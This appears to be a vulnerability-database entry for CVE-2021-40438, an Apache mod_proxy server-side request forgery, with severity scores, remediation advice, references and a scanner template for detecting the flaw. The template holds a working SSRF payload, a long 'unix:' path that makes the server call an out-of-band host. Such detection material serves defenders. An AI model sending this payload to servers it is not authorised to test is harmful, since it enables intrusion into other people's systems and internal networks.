9 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
9.4 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%
Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
id: CVE-2021-40438
info:
name: Apache <= 2.4.48 Mod_Proxy - Server-Side Request Forgery
author: pdteam
severity: critical
description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
remediation: Upgrade to Apache version 2.4.49 or later.
reference:
- https://firzen.de/building-a-poc-for-cve-2021-40438
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-40438
- https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
- https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 9
cve-id: CVE-2021-40438
cwe-id: CWE-918
epss-score: 0.97372
epss-percentile: 0.99897
cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: apache
product: http_server
tags: cve2021,cve,ssrf,apache,mod-proxy,kev
http:
- method: GET
path:
- '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}/'
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains_all(header, "X-Interactsh-Version", "Server: oast")'
- "!contains(body, '<h1> Interactsh Server </h1>')"
condition: and
# digest: 4a0a00473045022100d8d05e6148126d10da099a868bd043059ea9cd59f882302a022663b194f4cbab0220434cac7a775e4c4845de5dd47b83c2c14723db31dcf51b091617be23b576b578:922c64590222798bb761d5b6d8e72950
cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
firzen.de/building-a-poc-for-cve-2021-40438
httpd.apache.org/security/vulnerabilities_24.html
lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
nvd.nist.gov/vuln/detail/CVE-2021-40438
9 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
9.4 High
AI Score
Confidence
High
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.974 High
EPSS
Percentile
99.9%